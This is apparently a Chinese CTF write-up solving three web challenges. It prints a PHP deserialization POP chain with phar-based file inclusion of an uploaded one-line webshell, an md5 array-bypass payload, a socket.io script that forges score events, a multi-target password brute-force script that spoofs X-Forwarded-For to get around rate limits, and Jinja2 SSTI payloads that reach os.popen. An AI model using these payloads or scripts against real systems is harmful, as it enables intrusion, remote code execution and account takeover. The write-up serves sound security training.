1.ezphp
初步审计,发现分POST和GET两种方式处理数据。
POST部分允许上传图片文件,可以获得文件路径。
GET部分如果get到ccc,包含一个php文件并判断传入ccc的文件路径是否存在;如果get到orz,会接受后续传入的get参数进行简单的md5判断,通过后即可获得包含的php的文件内容。
md5使用数组绕过即可。payload:?orz=1&jbn1[]=1&jbn2[]=2&username=0rays&password[]=1
得到f71fade1b8ed74a6d9849359380b760e.php的内容:
<?php
class Act {
protected $checkAccess;
protected $id;
public function run()
{
if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}
}
class Con {
public $formatters;
public $providers;
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}
class Mmm {
public function __invoke(){
include("hello.php");
}
}
class Jbn{
public $source;
public $str;
public $reader;
public function __wakeup() {
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}
public function reset() {
if ($this->reader !== null) {
$this->reader->close();
}
}
}
思路:
首先由Jbn类的wakeup方法为起点开始触发,将source设为Jbn对象的引用,由于preg_match,触发toString方法;
再将source->str设为Jbn对象引用,执行reset方法;
再将str->reader设为Con对象的引用,由于Con类不存在close方法,触发call方法;
审计getFormatter函数可知将formatter数组设为['close' => [$act, 'run']],并将变量act设为Act对象的引用,即可执行Act中的run方法,为保险我这里将Act类中的id设为"0e123"确保判断通过。
本地测试代码如下。注意由于Act类中的成员变量属性为protected,序列化数据中会有不可见字符%00,打印序列化数据的时候要先urlencode。
<?php
//定义类,省略
$act=new Act();
// 创建 Con 对象
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];
// 创建两个 Jbn 对象
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
// 设置 Jbn 对象的属性
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;
$serialized = serialize($jbn);
echo $serialized;
echo urlencode($serialized);
unserialize($_GET['a']);?>
由于后半段只能使用GET传参,所以php://input执行任意代码的方法不能使用,可以上传含有一句话木马的图片文件,然后将该文件包含即可RCE。
先写个脚本上传木马图片:
import requests
url='http://e806052f-6206-4414-9a78-cb1ba64a23f2.training.0rays.club:8001/' #题目url
file_path='C:\\Users\\26426\\Desktop\\ctf工具\\OneSentence.jpg' #一句话木马图片路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)
得到路径
打phar包,要包含的文件路径定义为木马图片路径,元数据存入变量jbn
<?
#定义类,这里省略
$act=new Act();
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;
$phar = new Phar('PO.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($jbn);
$phar->stopBuffering();
?>
改名为.jpg结尾并上传phar包
import requests
url='' #题目URL
file_path='' #phar包文件路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)
首页ccc设为phar://+phar包路径即可包含木马,成功getshell,拿到flag:
2.TankTrouble
点击获取FLAG,提示要玩够555分才给flag,审计前端GameState.js代码,看一下对不同事件的处理:
发现在玩家坦克被其他玩家击杀时会触发socket事件发包到后端,事件名为kill。
其他事件(玩家自杀,玩家击杀其他坦克)的处理都在前端完成。
打开bp,查看websocket history
那就只能通过向服务器构造发送kill事件的包,id设为自己的id,模拟自己击杀其他坦克的事件,从而获得加分。
先构造一个kill事件的包发送,发现分数+1,证明此方法可行
写脚本反复发送kill事件的包,即可加分至555分。
import socketio
import time
# 创建一个Socket.IO客户端
sio = socketio.Client()
@sio.event
def connect():
print("连接已建立")
# 无限循环,持续发送消息
while True:
sio.emit('kill', {"killer": "[bp中截获的玩家id]"})
print("已发送消息")
time.sleep(0.1)
#断开连接
@sio.event
def disconnect():
print("连接已断开")
#连接
sio.connect('http://[服务器ip]:[端口]')
#保持脚本运行
sio.wait()
3.CNCTF2023
给了含9999个口令的文档,以及提示需要爆破,登录管理员账户。
尝试使用bp的intruder模块进行爆破,发现被限制请求频率。
当时不会docker,也没想过本地爆密码。
但是想到了一个非预期:题目是4台公共靶机,每台靶机密码相同,那么可以进行多线程爆破。
脚本:
import requests
import time
#有7个脚本,该脚本对应爆破1号靶机,用的是第1~1249个密码
url = 'http://jbnrz.com.cn:10101/login'
headers = {
'Host': 'jbnrz.com.cn:10101',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'DNT': '1',
'Referer': 'http://jbnrz.com.cn:10101/login',
'Cookie': 'session=0e05942f-ae60-4b2d-a854-0ccaf12cff6f.i5qfub2V3uU0Cw1nhhlDNOuUZp0',
'X-Forwarded-For': '8.8.8.8',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded'
}
data ={'name':'admin','password':'123','_submit':'%E6%8F%90%E4%BA%A4','nonce':'9e800d7455741648dcc6779d910bae6c9e327ba5efefce48da3424854ea09411'}
wrong=requests.post(url, headers=headers, data=data).text
if "incorrect" in wrong:
print("Connected")
with open('D:\\QQ\\2642677199\\FileRecv\\something.txt', 'r',encoding='utf-8') as file:
passwds = [line.strip() for line in file]
passwds=passwds[0:1250:]
for passwd in passwds:
while True:
data['password']=passwd
time.sleep(5)
response = requests.post(url, headers=headers, data=data).text
print(passwd)
if "Too many requests" in response:
print("此处被频率限制。重试密码:{}".format(passwd))
else:
break
if response != wrong:
print(response)
print(f'密码: {passwd}')
break
同时运行8个,分段分靶机爆破,得到密码为:jozefkosmider1995
内部存在flask注入,注入点在whale
注入{{''.__class__.__mro__[1].__subclasses__()[153].__init__.__globals__['popen']('env').read()}}试图查看环境变量,发现报错为状态码500。
经过试错探索,发现题目环境中object的子类列表和平时大部分的环境不一样,注入{{''.__class__.__mro__[1].__subclasses__()}}得object子类列表,编写简单脚本,找到类os._wrap_close的索引是133。
于是将__subclasses__()下标改为133,重新注入,成功。
Comments NOTHING